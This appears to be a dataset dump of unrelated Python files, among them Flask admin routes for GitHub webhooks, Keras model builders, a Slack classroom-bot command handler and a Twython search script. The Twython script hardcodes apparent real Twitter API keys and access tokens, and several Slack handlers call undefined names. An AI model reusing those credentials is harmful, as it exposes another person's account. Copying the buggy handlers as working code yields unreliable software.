{}'.format(sys.exc_info()[1]), 'common_error')\n return redirect(url_for('harvest', id=id))\n\n return redirect(url_for('manage_harvest'))\n else:\n flash('Form is not valid', 'common_error')\n\n harvests = HarvestAccount.query.filter().all()\n\n for h in harvests:\n if h.token_timestamp is None or h.token_refresh is None or ((h.token_timestamp + timedelta(days=29)) < datetime.now()):\n h.state = \"unauthorized\"\n else:\n h.state = \"authorized\"\n\n return render_template('harvest.html',\n form=HarvestForm(\n shortcut=harvest.shortcut,\n client_id=harvest.client_id,\n secret=harvest.client_secret\n ),\n harvests=harvests,\n authorization=harvest_connection.authorization_link,\n harvest=harvest\n )\n\n\n@app.route('/manage_github', methods=['GET', 'POST'])\n@login_required\n@admin_permission.require()\ndef manage_github():\n \"\"\"Function which processes manage_github page - \"\"\"\n form = GithubForm()\n\n if request.method == 'POST':\n if form.validate_on_submit():\n github_account = GithubAccount(client_id=form.client_id.data, shortcut=form.shortcut.data, client_secret=form.secret.data, fallback_account=form.fallback_account.data)\n db.session.add(github_account)\n\n try:\n db.session.commit()\n except:\n db.session.rollback()\n flash('Commit to DB wasn`t successful: {}'.format(sys.exc_info()[1]), 'common_error')\n return redirect(url_for('manage_github'))\n else:\n flash('Form is not valid', 'common_error')\n\n github_accounts = GithubAccount.query.filter().all()\n\n for github_account in github_accounts:\n if github_account.token_access is None:\n github_account.state = \"unauthorized\"\n else:\n github_account.state = \"authorized\"\n\n return render_template('administration/github_accounts.html',\n form=form,\n github_accounts=github_accounts\n )\n\n\n@app.route('/manage_github/', methods=['GET', 'POST'])\n@login_required\n@admin_permission.require()\ndef github_account(id):\n \"\"\"Function which processes github page - \"\"\"\n github_account = GithubAccount.query.get_or_404(id)\n form = GithubForm()\n\n if request.method == 'POST':\n if form.validate_on_submit():\n github_account.client_id = form.client_id.data\n github_account.shortcut = form.shortcut.data\n github_account.client_secret = form.secret.data\n github_account.fallback_account = form.fallback_account.data\n db.session.add(github_account)\n\n try:\n db.session.commit()\n except:\n db.session.rollback()\n flash('Commit to DB wasn`t successful: {}'.format(sys.exc_info()[1]), 'common_error')\n return redirect(url_for('github_account', id=id))\n\n return redirect(url_for('manage_github'))\n else:\n flash('Form is not valid', 'common_error')\n\n github_accounts = GithubAccount.query.filter().all()\n\n for g in github_accounts:\n if g.token_access is None:\n g.state = \"unauthorized\"\n else:\n g.state = \"authorized\"\n\n if github_account.token_access is None:\n oauth_link = github.authorization_link(github_account)\n\n return render_template('administration/github_account.html',\n form=GithubForm(shortcut=github_account.shortcut,\n client_id=github_account.client_id,\n secret=github_account.client_secret,\n fallback_account=github_account.fallback_account),\n github_accounts=github_accounts,\n authorization=github_connection.authorization_link,\n github_account=github_account\n )\n\n\n@app.route('/manage_repos', methods=['GET', 'POST'])\n@login_required\n@admin_permission.require()\ndef manage_repos():\n \"\"\"Function which processes manage_repos page - \"\"\"\n form = RepoForm()\n\n form.github.choices = [(str(g.id), g.shortcut) for g in GithubAccount.query.filter(GithubAccount.fallback_account == 0).all()]\n\n if request.method == 'POST':\n if form.validate_on_submit():\n repo = GithubRepo(url=form.url.data, shortcut=form.shortcut.data, github_account_id=int(form.github.data))\n db.session.add(repo)\n\n try:\n db.session.commit()\n except:\n db.session.rollback()\n flash('Commit to DB wasn`t successful: {}'.format(sys.exc_info()[1]), 'common_error')\n return redirect(url_for('manage_repos'))\n\n return redirect(url_for('add_repo_hook', id=repo.id))\n else:\n flash('Form is not valid', 'common_error')\n\n repos = GithubRepo.query.filter().all()\n\n for repo in repos:\n repo.webhook_state = CheckWebhook(repo)\n\n return render_template('administration/repos.html',\n form=form,\n repos=repos\n )\n\n\n@app.route('/manage_repos/', methods=['GET', 'POST'])\n@login_required\n@admin_permission.require()\ndef manage_repo(id):\n \"\"\"Function which processes repo page - \"\"\"\n repo = GithubRepo.query.get_or_404(id)\n form = RepoForm(url=repo.url, shortcut=repo.shortcut, github=repo.github_account_id)\n\n form.github.choices = [(str(g.id), g.shortcut) for g in GithubAccount.query.filter(GithubAccount.fallback_account == 0).all()]\n\n if request.method == 'POST':\n if form.validate_on_submit():\n repo.url = form.url.data\n repo.shortcut = form.shortcut.data\n repo.github_account_id = form.github.data\n db.session.add(repo)\n\n try:\n db.session.commit()\n except:\n db.session.rollback()\n flash('Commit to DB wasn`t successful: {}'.format(sys.exc_info()[1]), 'common_error')\n return redirect(url_for('manage_repo', id=id))\n\n return redirect(url_for('manage_repos'))\n else:\n flash('Form is not valid', 'common_error')\n\n repos = GithubRepo.query.filter().all()\n\n #~ for r in repos:\n #~ r.webhook_state = CheckWebhook(r) # it is slow to do check all time\n\n return render_template('administration/repo.html',\n form=form,\n repos=repos,\n repo=repo\n )\n\n\n@app.route('/manage_repos//h', methods=['GET', 'POST'])\n@login_required\n@admin_permission.require()\ndef add_repo_hook(id):\n \"\"\"Function which processes repo page - \"\"\"\n repo = GithubRepo.query.get_or_404(id)\n\n CreateWebhook(repo)\n\n return redirect(url_for('manage_repos'))\n\n\ndef CreateWebhook(repo):\n config = {'url': 'http://%s/github_webhook' % app.config['SERVER_NAME'], 'content_type': 'json', 'secret': app.config['GITHUB_SECRET']}\n payload = {'name': 'web', 'config': config, 'events': ['issues', 'issue_comment'], 'active': True}\n\n response = github_connection.post(repo, '/hooks', payload=payload)\n\n if response['status'] == 'OK':\n repo.webhook = response['data']['id']\n db.session.add(repo)\n db.session.commit()\n return True\n\n fallback_github_account = GithubAccount.query.filter(GithubAccount.fallback_account == 1).first()\n\n if not fallback_github_account:\n return False\n\n response = github_connection.post(repo, '/hooks', payload=payload, fallback_github_account=fallback_github_account)\n\n if response['status'] == 'OK':\n repo.webhook = response['data']['id']\n db.session.add(repo)\n db.session.commit()\n return True\n\n return False\n\n\nwebhook_url_regular = re.compile(r\"\"\"\n {}\n /github_webhook$\n \"\"\".format(app.config['SERVER_NAME']), re.VERBOSE)\n\n\ndef _ProcessWebhookCheck(repo, data):\n if 'events' in data.keys() and 'config' in data.keys() and 'active' in data.keys():\n if data['active'] != True:\n return False\n\n if not 'url' in data['config']:\n return False\n\n test = webhook_url_regular.search(data['config']['url'])\n\n if test is None:\n return False\n\n if not 'issues' in data['events'] or not 'issue_comment' in data['events']:\n return False\n\n return True\n\n return False\n\n\ndef CheckWebhook(repo):\n if not repo.webhook is None:\n response = github_connection.get(repo, '/hooks/%s' % repo.webhook)\n\n if response['status'] == 'OK':\n return _ProcessWebhookCheck(repo, response['data'])\n\n fallback_github_account = GithubAccount.query.filter(GithubAccount.fallback_account == 1).first()\n\n if not fallback_github_account:\n return False\n\n response = github_connection.get(repo, '/hooks/{}'.format(repo.webhook), fallback_github_account=fallback_github_account)\n\n if response['status'] == 'OK':\n return _ProcessWebhookCheck(repo, response['data'])\n\n return False\n\n","sub_path":"app/clientportal/controllers/administration.py","file_name":"administration.py","file_ext":"py","file_size_in_byte":26694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"323223859","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 16 13:19:53 2019\n\n@author: stephan\n\"\"\"\n\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 27 14:05:17 2019\n\n@author: stephan\n\"\"\"\nfrom tensorflow.keras.layers import Conv2D, Flatten, Input\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.applications.densenet import DenseNet121\n\n#def build_densenet121_old(train_model = True, **kwargs):\n#\tweights = kwargs.get('weights', 'imagenet')\n#\t#num_classes = kwargs.get('num_classes')\n#\t\n#\tinputs = Input(shape=(None, None, len(kwargs.get('channels')) ))\n#\tdensenet = DenseNet121(include_top=False, input_tensor=inputs , weights=weights)\n#\tx = densenet.output\n#\tx = Conv2D(filters=128,kernel_size=(4,4),activation='relu')(x) # 8\n#\tx = Conv2D(filters=64,kernel_size=(1,1),activation='relu')(x)\n#\tpreds = Conv2D(filters=2, kernel_size=(1,1),activation='softmax')(x) \n#\tif train_model:\n#\t\tpreds = Flatten()(preds)\n#\t\t\n#\tmodel = Model(inputs=densenet.input, outputs=preds)\n#\t\n#\n#\t#model.summary()\n#\tmodel.summary()\n#\treturn model\n\ndef build_densenet121(train_model = True, **kwargs):\n\tinputs = Input(shape=(None, None, len(kwargs.get('channels')) ))\n\tresnet = DenseNet121(include_top=False, weights=None, input_tensor=inputs)\n\t\n\tx = resnet.output\n\tx = Conv2D(filters = 512, kernel_size=(4,4), activation='relu')(x)\n\tx = Conv2D(filters = 128, kernel_size=(1,1), activation='relu')(x)\n\tpreds = Conv2D(filters = kwargs.get('num_classes'), kernel_size=(1,1), activation='softmax')(x)\n\tif train_model:\n\t\tpreds = Flatten()(preds)\n\n\t#preds = Dense(2, activation='softmax', name='fc1000')(x)\n\t\n\tmodel = Model(inputs=resnet.input, outputs=preds)\n\t#model.summary()\n\t\n\treturn model\n\ndef build_densenet121_imagenet(train_model = True, **kwargs):\n weights = kwargs.get('weights', 'imagenet')\n #num_classes = kwargs.get('num_classes')\n \n inputs = Input(shape=(None, None, len(kwargs.get('channels')) ))\n dense_filter = Conv2D(filters=3, kernel_size=(3,3), padding='same')(inputs)\n\n densenet = DenseNet121(include_top=False, weights=weights)(dense_filter)\n #x = densenet.output\n x = Conv2D(filters=128,kernel_size=(4,4),activation='relu')(densenet) # 8\n x = Conv2D(filters=64,kernel_size=(1,1),activation='relu')(x)\n preds = Conv2D(filters=kwargs.get('num_classes'), kernel_size=(1,1),activation='softmax')(x) \n if train_model:\n preds = Flatten()(preds)\n model = Model(inputs=inputs, outputs=preds)\n\n #model.summary()\n return model\n","sub_path":"models/densenet.py","file_name":"densenet.py","file_ext":"py","file_size_in_byte":2508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"319915779","text":" #pip install twython\n #https://stackabuse.com/accessing-the-twitter-api-with-python/\n #https://developer.twitter.com/\n\n # Import the Twython class\nfrom twython import Twython\nimport pandas as pd\nimport json\n\n# Load credentials from json file\n#with open(\"twitter_credentials.json\", \"r\") as file:\n# creds = json.load(file)\n\ncredentials = {}\ncredentials['CONSUMER_KEY'] = 'fRobVetPQ5YzyTxG4F5I2gyin'\ncredentials['CONSUMER_SECRET'] = '5yHZkyVp5Reb4ij0F11FyohAI15f7fWKwNEqV28hTbiz6trmJ9'\ncredentials['ACCESS_TOKEN'] = '177595853-ns4ERG1gMl2XZbPlIlJIeJlnLUQxaD8CNKmQKfok'\ncredentials['ACCESS_SECRET'] = 'hneLll9K87YegVJXf52qHkvNtnaUnzEopfeDjKYvVtP0b'\n\n# Instantiate an object\npython_tweets = Twython(credentials['CONSUMER_KEY'], credentials['CONSUMER_SECRET'])\n\n# Create our query\nquery = {'q': 'Chadwick',\n 'result_type': 'recent',\n #'count': 100,\n 'lang': 'es',\n }\n\n# Search tweets\ndict_ = {'user': [], 'date': [], 'text': [], 'favorite_count': []}\nfor status in python_tweets.search(**query)['statuses']:\n dict_['user'].append(status['user']['screen_name'])\n dict_['date'].append(status['created_at'])\n dict_['text'].append(status['text'])\n dict_['favorite_count'].append(status['favorite_count'])\n\n# Structure data in a pandas DataFrame for easier manipulation\ndf = pd.DataFrame(dict_)\ndf.sort_values(by='favorite_count', inplace=True, ascending=False)\nprint(df.head(100))\n","sub_path":"pythonTwython.py","file_name":"pythonTwython.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"517093176","text":"# Default graph is initialized when the library is imported\nfrom keras.preprocessing.image import img_to_array, load_img\nfrom keras.models import load_model\nimport tensorflow.compat.v1 as tf\nimport numpy as np\n\n# Load the image and convert it to array\ndef image_to_array(image_path):\n image = img_to_array(load_img(image_path, target_size=(700, 700))) / 255.\n image = np.expand_dims(image, axis=0)\n return image\n\n# Load keras model (.hdf5 or .h5 model)\ndef predict_using_keras(image, keras_model_path):\n model = load_model(keras_model_path)\n prediction_result = model.predict(image)\n return prediction_result\n\ndef predict_using_tf(image, model_path, input_tensor_layer_name, output_tensor_layer_name):\n with tf.Graph().as_default() as graph: # Set default graph as graph\n\n with tf.Session() as sess:\n # We load the protobuf file from the disk and parse it to retrive the unserialized graph_drf\n with tf.io.gfile.GFile(model_path,'rb') as f:\n\n # Set FCN graph to the default graph\n graph_def = tf.GraphDef()\n graph_def.ParseFromString(f.read())\n sess.graph.as_default()\n\n # Import a graph_def into the current default Graph (In this case, the weights are (typically) embedded in the graph)\n tf.import_graph_def(\n graph_def,\n input_map=None,\n return_elements=None,\n name=\"\",\n op_dict=None,\n producer_op_list=None\n )\n\n # Print the name of operations in the session\n # for op in graph.get_operations():\n # print(\"Operation Name :\",op.name) # Operation name\n # print(\"Tensor Stats :\",str(op.values())) # Tensor name\n\n # INFERENCE Here\n l_input = graph.get_tensor_by_name(input_tensor_layer_name) # Input Tensor\n l_output = graph.get_tensor_by_name(output_tensor_layer_name) # Output Tensor\n\n #initialize_all_variables\n tf.global_variables_initializer()\n\n # Run Kitty model on single image\n Session_out = sess.run( l_output, feed_dict = {l_input : image})\n return Session_out\n\ndef main():\n image_path = 'sample_images/lippincott_brao_001.jpg'\n input_tensor_layer_name = 'input_1:0'\n output_tensor_layer_name = 'dense_2/Softmax:0'\n tf_model_path = 'tf_models/five_classes_tf_model.pb'\n keras_model_path = 'keras_models/olamide-model_all_classes_mobile_net_2_retrained.hdf5'\n\n image_array = image_to_array(image_path)\n\n keras_pred_result = predict_using_keras(image_array, keras_model_path)\n print('Keras Model output {}'.format(keras_pred_result[0]))\n\n tf_pred_result = predict_using_tf(image_array, tf_model_path, input_tensor_layer_name, output_tensor_layer_name)\n # output = np.argmax(tf_pred_result[0], axis=-1)\n print('TF Model output {}'.format(tf_pred_result))\n\nif __name__== \"__main__\":\n main()","sub_path":"test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":3100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"259230507","text":"# -*- coding: utf-8 -*-\nfrom convertors.csv_object_to_gdb_object.Csv_object_to_gdb_convertor import Csv_object_to_gdb_convertor\nfrom csv_convertor.csv_processing.Csv_objects_factory import CsvObjectsFactory\nfrom main.AbstractProcessor import AbstractProcessor\nfrom util.Util import Util\n\n\nclass ORG_PrjProcessor(AbstractProcessor):\n def __init__(self):\n self.prjFC = Util.getPathToFC(\"ORG_Prj\")\n self.HPC_periodFC = Util.getPathToFC(\"HPC_periods\")\n self.rel_HPCperiod_prj = Util.getPathToFC(\"rel_HPCperiod_prj\")\n\n def getObjectsListFromCSV(self):\n csv_objects_factory = CsvObjectsFactory.getFactoryInstance()\n self.complex_data_list = getattr(csv_objects_factory, \"General_data_HPP\")\n\n def loadData(self):\n complex_fields_to_load = Util.getClassPropertiesNames(self.complex_data_list[0])\n Csv_object_to_gdb_convertor.loadData(self.complex_data_list, self.prjFC, complex_fields_to_load)\n\n def generatePrimaryKey(self):\n Csv_object_to_gdb_convertor.generatePrimaryKey(self.prjFC, \"ORG_ID\")\n\n def joinManyToMany(self):\n Csv_object_to_gdb_convertor.cleanUpDuplicates(self.prjFC, \"ORG_prj_name\")\n Csv_object_to_gdb_convertor.joinManyToMany(self.HPC_periodFC, \"Complex_name\", \"Period_ID\",\n self.prjFC, \"ORG_prj_name\", \"ORG_ID\",\n self.complex_data_list, self.rel_HPCperiod_prj)\n\nif __name__ == \"__main__\":\n pp = ORG_PrjProcessor()\n pp.process()\n\n\n","sub_path":"src/main/ORG_PrjProcessor.py","file_name":"ORG_PrjProcessor.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"607708038","text":"import sympy as sp\nfrom sympy import *\na, b, x1, x2, t1, t2, rb1, rb2 = symbols(\"a b x_1 x_2 t_1 t_2 rb_1 rb_2\")\nShapefun = Matrix([(b-x2)*(a-x1)/4/a/b*-(1+x1/a+x2/b),\n (b-x2)*(a+x1)/4/a/b*-(1-x1/a+x2/b),\n (b+x2)*(a+x1)/4/a/b*-(1-x1/a-x2/b),\n (b+x2)*(a-x1)/4/a/b*-(1+x1/a-x2/b),\n (b-x2)*(a-x1)*(a+x1)/2/a**2/b,\n (a+x1)*(b-x2)*(b+x2)/2/a/b**2,\n (b+x2)*(a-x1)*(a+x1)/2/a**2/b,\n (a-x1)*(b-x2)*(b+x2)/2/a/b**2])\nNn = zeros(2,16)\nfor i in range(8):\n Nn[0,2*i] = Nn[1,2*i+1] = Shapefun[i]\nprint(\"Nn:\", Nn)\ntn = Matrix([t1,t2])\nrb = Matrix([rb1,rb2])\nintegrand1 = (Nn.transpose()*tn).subs(x1,-a)\nintegrand2 = (Nn.transpose()*rb)\nfetraction = Matrix([simplify(integrate(integrand1[i],(x2,-b,b)))for i in range (16)])\nfebodyforces = Matrix([simplify(integrate(integrand2[i],(x1,-a,a),(x2,-b,b)))for i in range (16)])\nprint(\"fetraction: \", fetraction)\nprint(\"febodyforces: \", febodyforces)\n","sub_path":"Intro_Solid_Mechanics_Adeeb/12.3.2.1.e.py","file_name":"12.3.2.1.e.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"238217818","text":"from rest_framework import serializers\nfrom api import models\nfrom .user_serializer import UserSerializer\n\nclass PostSerializer(serializers.HyperlinkedModelSerializer):\n \"\"\"\n Serializer for post.\n\n fields exposed:\n 'id',\n 'title',\n 'comment',\n 'user',\n 'created_at',\n 'url'\n \"\"\"\n user = UserSerializer(read_only=True)\n\n class Meta:\n fields = (\n 'id',\n 'title',\n 'link',\n 'comment',\n 'user',\n 'created_at',\n 'url'\n )\n model = models.Post\n","sub_path":"mysite/api/serializers/post_serializer.py","file_name":"post_serializer.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"631846415","text":"\"\"\"\nThis modules has functions to handle all the supported commands for the\nclassroom bot.\n\nAuthor: Adarsh Trivedi\nDate: 2020-09-04\n\"\"\"\n\nfrom ..slack_client import send_message\nfrom proxy_service.models import CommandRequest\nfrom proxy_service.bot_server_http_calls.assignment import (\n get_all_assignments_for_team, create_new_assignment)\nfrom proxy_service.bot_server_http_calls.student import (\n register_user_email_id, get_groups_for_user)\nfrom proxy_service.bot_server_http_calls.schedule import (\n save_lecture_link_user_email_id,\n save_tutor_link_user_email_id,\n get_lecture_link_for_user,\n get_tutor_link_for_user)\nfrom proxy_service.bot_server_http_calls.deadline import (\n add_deadline_user_email_id,\n show_deadlines_for_user)\n\nsupported_group_command_parameters = ('help', 'list')\nsupported_assignment_command_operations = ('get', 'create')\nsupported_bookmarks_command_operations = ('get', 'create')\nsupported_grade_command_operations = ('get', 'create')\n\n\ndef is_valid_group_command_request(parameters):\n parameters = parameters.split(\" \")\n\n if parameters[0] in supported_group_command_parameters:\n return True\n return False\n\n\ndef send_command_response(request, response):\n team_id = request[\"team_id\"]\n send_message(\n team_id=team_id,\n channel=request[\"channel_id\"],\n message=response,\n user_id=request[\"user_id\"])\n\n\ndef parse_group_command_parameters_and_respond(parameters):\n response = \"\"\n\n if is_valid_group_command_request(parameters):\n\n parameters = parameters.split(\" \")\n\n request_id = CommandRequest.objects.create_new_incoming_record(\n command=\"group\", command_parameter=parameters)\n\n if request_id != -1:\n\n if parameters[0] == 'help':\n response = \"Supported parameters by /group command are 'help', 'list'.\\n\" \\\n \"Parameter usage:\\n\" \\\n \"1. /group help\\n\" \\\n \"2. /group list group_name or group_number\\n\"\n CommandRequest.objects.update_request(\n request_id=request_id, request_parameters={\n 'response': response})\n\n else:\n request_id = CommandRequest.objects.create_new_incoming_record(\n command=\"group\", command_parameter=parameters,\n is_valid_request=False)\n\n if request_id != -1:\n response = \" The first parameter you passed in incorrect.\\n\" \\\n \"Supported parameters by /group command are 'help', 'list'.\\n\" \\\n \"Parameter usage:\\n\" \\\n \"1. /group help\\n\" \\\n \"2. /group list group_name or group_number\\n\"\n CommandRequest.objects.update_request(\n request_id=request_id, request_parameters={\n \"response\": response, \"request_status\": \"invalid\"})\n\n return response\n\n\ndef group_handler(request: dict) -> None:\n \"\"\"\n The function handles a request coming from slack for the group command.\n :param request:\n :return: returns a suitable response based on the request\n \"\"\"\n response_text = parse_group_command_parameters_and_respond(request[\"text\"])\n send_command_response(request, response_text)\n\n\n# assignment handlers\n\ndef is_valid_assignment_command_request(parameters):\n parameters = parameters.split(\" \")\n\n if parameters[0] in supported_assignment_command_operations:\n\n if len(parameters) == 1 and parameters[0] == 'get':\n return True\n elif parameters[0] == 'create' and len(parameters) == 7:\n supported_create_parameters = [\n 'assignment_name', 'due_by', 'homework_url']\n parameter_fields = [parameters[1], parameters[3], parameters[5]]\n for parameter_field in parameter_fields:\n if parameter_field not in supported_create_parameters:\n return False\n return True\n else:\n return False\n\n\ndef format_assignment_get_response(response_json):\n response = \"Assignment Name | Due Date | Assignment URL\\n\"\n\n for assignment in response_json[\"data\"]:\n response += \"{} | {} | {}\\n\".format(\n assignment[\"fields\"][\"assignment_name\"],\n assignment[\"fields\"][\"due_by\"],\n assignment[\"fields\"][\"homework_url\"])\n\n return response\n\n\ndef parse_assignment_command_parameters_and_respond(request, parameters):\n response = \"\"\n\n if is_valid_assignment_command_request(parameters):\n parameters = parameters.split(\" \")\n\n if parameters[0] == \"get\":\n response = get_all_assignments_for_team(team_id=request[\"team_id\"])\n response = format_assignment_get_response(response)\n elif parameters[0] == \"create\":\n\n request_parameters = dict()\n\n request_parameters[parameters[1]] = parameters[2]\n request_parameters[parameters[3]] = parameters[4]\n request_parameters[parameters[5]] = parameters[6]\n request_parameters[\"team_id\"] = request[\"team_id\"]\n request_parameters[\"created_by\"] = request[\"user_id\"]\n\n response = create_new_assignment(assignment=request_parameters)\n\n else:\n response = \"Invalid command parameters.\"\n\n return response\n\n\ndef assignment_handler(request: dict) -> None:\n \"\"\"\n This function handles a request from the slack for the assignment command.\n :param request:\n :return:\n \"\"\"\n request_parameters = request[\"text\"].replace(\"\\xa0\", \" \")\n response_text = parse_assignment_command_parameters_and_respond(\n request, request_parameters)\n send_command_response(request, response_text)\n\n\n# code for handling my command from slack to class room environment\n\nsupported_my_command_operations = ('register', 'group')\n\n\ndef is_valid_my_command_request(parameters):\n parameters = parameters.split(\" \")\n\n if parameters[0] in supported_my_command_operations:\n\n if parameters[0] == \"register\":\n if len(parameters) == 2:\n return True\n else:\n return False\n if parameters[0] == \"group\":\n if len(parameters) == 1:\n return True\n else:\n return False\n else:\n return False\n else:\n return False\n\n\ndef parse_my_command_parameters_and_respond(request, parameters):\n response = \"\"\n\n if is_valid_my_command_request(parameters):\n\n parameters = parameters.split(\" \")\n\n if parameters[0] == \"register\":\n email = parameters[1]\n team_id = request[\"team_id\"]\n\n response = register_user_email_id(\n email_id=email, team_id=team_id, slack_user_id=request[\"user_id\"])\n elif parameters[0] == \"group\":\n response = get_groups_for_user(request['user_id'])\n\n else:\n response = \"Invalid request format/structure.\"\n return response\n\n\ndef my_handler(request: dict) -> None:\n \"\"\"\n This function handles a request from the slack for registering a new user using it's email address.\n :param request: slack request\n :return: None\n \"\"\"\n\n request_parameters = request[\"text\"].replace(\"\\xa0\", \" \")\n response_text = parse_my_command_parameters_and_respond(\n request, request_parameters)\n send_command_response(request, response_text)\n\n\n# code for handling schedule command from slack to class room environment\n\n\nsupported_schedule_command_operations = (\n 'tutor', 'lecture', 'get_lecture_link', 'get_tutor_link')\n\n\ndef is_valid_schedule_command_request(parameters):\n parameters = parameters.split(\" \")\n\n if parameters[0] in supported_schedule_command_operations:\n\n if parameters[0] == \"tutor\":\n if len(parameters) == 2:\n return True\n else:\n return False\n if parameters[0] == \"lecture\":\n if len(parameters) == 2:\n return True\n else:\n return False\n if parameters[0] == \"get_lecture_link\":\n if len(parameters) == 1:\n return True\n else:\n return False\n if parameters[0] == \"get_tutor_link\":\n if len(parameters) == 1:\n return True\n else:\n return False\n\n else:\n return False\n else:\n return False\n\n\nsupported_deadline_command_operations = ('add', 'show')\n\n\ndef is_valid_deadline_command_request(parameters):\n if parameters[0] in supported_deadline_command_operations:\n\n if parameters[0] == \"add\":\n if len(parameters) == 3:\n return True\n else:\n return False\n if parameters[0] == \"show\":\n if len(parameters) == 1:\n return True\n else:\n return False\n else:\n return False\n else:\n return False\n\n\ndef parse_schedule_command_parameters_and_respond(request, parameters):\n response = \"\"\n\n if is_valid_schedule_command_request(parameters):\n\n parameters = parameters.split(\" \")\n print(\"printing parameters\")\n print(parameters)\n\n if parameters[0] == \"tutor\":\n link = parameters[1]\n team_id = request[\"team_id\"]\n\n response = save_tutor_link_user_email_id(\n tutor_link=link, team_id=team_id, slack_user_id=request[\"user_id\"])\n elif parameters[0] == \"lecture\":\n link = parameters[1]\n team_id = request[\"team_id\"]\n\n response = save_lecture_link_user_email_id(\n lecture_link=link, team_id=team_id, slack_user_id=request[\"user_id\"])\n elif parameters[0] == \"get_tutor_link\":\n response = get_tutor_link_for_user(request['user_id'])\n elif parameters[0] == \"get_lecture_link\":\n response = get_lecture_link_for_user(request['user_id'])\n\n else:\n response = \"Invalid request format/structure.\"\n return response\n\n\ndef schedule_handler(request: dict) -> None:\n \"\"\"\n This function handles a request from the slack for registering a new schedule using it's link.\n :param request: slack request\n :return: None\n \"\"\"\n\n request_parameters = request[\"text\"].replace(\"\\xa0\", \" \")\n response_text = parse_schedule_command_parameters_and_respond(\n request, request_parameters)\n send_command_response(request, response_text)\n\n\ndef is_valid_bookmarks_command_request(parameters):\n\n parameters = parameters.split(\" \")\n\n if parameters[0] in supported_bookmarks_command_operations:\n\n if len(parameters) == 1 and parameters[0] == 'get':\n return True\n elif parameters[0] == 'create':\n # create params\n return True\n else:\n return False\n\n\ndef format_bookmarks_get_response(response_json):\n response = \"Bookmark ID | Bookmark Name | URL\\n\"\n for grade in response_json[\"data\"]:\n response += \"{} | {} | {}\\n\".format(bookmarks[\"fields\"][\"bookmarkID\"],\n grade[\"fields\"][\"bookmarkName\"],\n grade[\"fields\"][\"URL\"])\n return response\n\n\ndef parse_bookmarks_command_parameters_and_respond(request, parameters):\n\n response = \"\"\n\n if is_valid_grade_command_request(parameters):\n parameters = parameters.split(\" \")\n\n if parameters[0] == \"get\":\n response = get_all_bookmarks(course_id=request[\"course_id\"])\n response = format_bookmarks_get_response(response)\n elif parameters[0] == \"create\":\n pass\n else:\n response = \"Invalid command parameters.\"\n return response\n\n\ndef parse_daedline_parameters_and_respond(request, parameters):\n response = \"\"\n\n if is_valid_deadline_command_request(parameters):\n\n parameters = parameters.split(\"\")\n\n if parameters[0] == \"add\":\n name = parameters[1]\n date = parameters[2]\n team_id = parameters[\"team_id\"]\n\n response = add_deadline_user_email_id(\n name=name, date=date, team_id=team_id, slack_user_id=request[\"user_id\"])\n\n elif parameters[0] == \"show\":\n response = show_deadlines_for_user(request[\"user_id\"])\n\n else:\n response = \"Invalid request format or structure\"\n return response\n\n\ndef bookmarks_handler(request: dict) -> None:\n \"\"\"\n This function handles a request from the slack for the assignment command.\n :param request:\n :return:\n \"\"\"\n request_parameters = request[\"text\"].replace(\"\\xa0\", \" \")\n response_text = parse_bookmarks_command_parameters_and_respond(\n request, request_parameters)\n send_command_response(request, response_text)\n return response\n\n\ndef deadline_handler(request: dict) -> None:\n \"\"\"\n This function handles a request from the slack for adding new deadlines\n and showing the most upcoming deadlines.\n :param request: slack request\n :return: None\n \"\"\"\n\n request_parameters = request[\"text\"].replace(\"\\xa0\", \" \")\n response_text = parse_daedline_parameters_and_respond(\n request, request_parameters)\n send_command_response(request, response_text)\n\n\ndef is_valid_grade_command_request(parameters):\n\n parameters = parameters.split(\" \")\n\n if parameters[0] in supported_grade_command_operations:\n if len(parameters) == 1 and parameters[0] == 'get':\n return True\n elif parameters[0] == 'create':\n # create params\n return True\n else:\n return False\n\n\ndef format_grade_get_response(response_json):\n\n response = \"Student Name | Assignment | Grade\\n\"\n\n for grade in response_json[\"data\"]:\n response += \"{} | {} | {}\\n\".format(grade[\"fields\"][\"student\"],\n grade[\"fields\"][\"assignment\"],\n grade[\"fields\"][\"grade\"])\n\n return response\n\n\ndef parse_grade_command_parameters_and_respond(request, parameters):\n\n response = \"\"\n\n if is_valid_grade_command_request(parameters):\n parameters = parameters.split(\" \")\n if parameters[0] == \"get\":\n response = get_all_grades_for_student(\n student_id=request[\"student_id\"])\n response = format_grade_get_response(response)\n elif parameters[0] == \"create\":\n pass\n else:\n response = \"Invalid command parameters.\"\n\n return response\n\n\ndef grade_handler(request: dict) -> None:\n \"\"\"\n This function handles a request from the slack for the assignment command.\n :param request:\n :return:\n \"\"\"\n request_parameters = request[\"text\"].replace(\"\\xa0\", \" \")\n response_text = parse_grade_command_parameters_and_respond(\n request, request_parameters)\n send_command_response(request, response_text)\n","sub_path":"backend-service/bot_proxy_server/proxy_service/handlers/command_handlers.py","file_name":"command_handlers.py","file_ext":"py","file_size_in_byte":14928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"346353583","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\nimport numpy as np\nfrom astropy import units as u\n\n__all__ = [\"energy_logspace\", \"energy_logcenter\"]\n\n\ndef energy_logspace(emin, emax, nbins, unit=None, per_decade=False):\n \"\"\"Create energy with equal log-spacing (`~astropy.units.Quantity`).\n\n Parameters\n ----------\n emin, emax : `~astropy.units.Quantity`, float\n Energy range\n nbins : int\n Number of bins\n unit : `~astropy.units.UnitBase`, str\n Energy unit\n per_decade : bool\n Whether 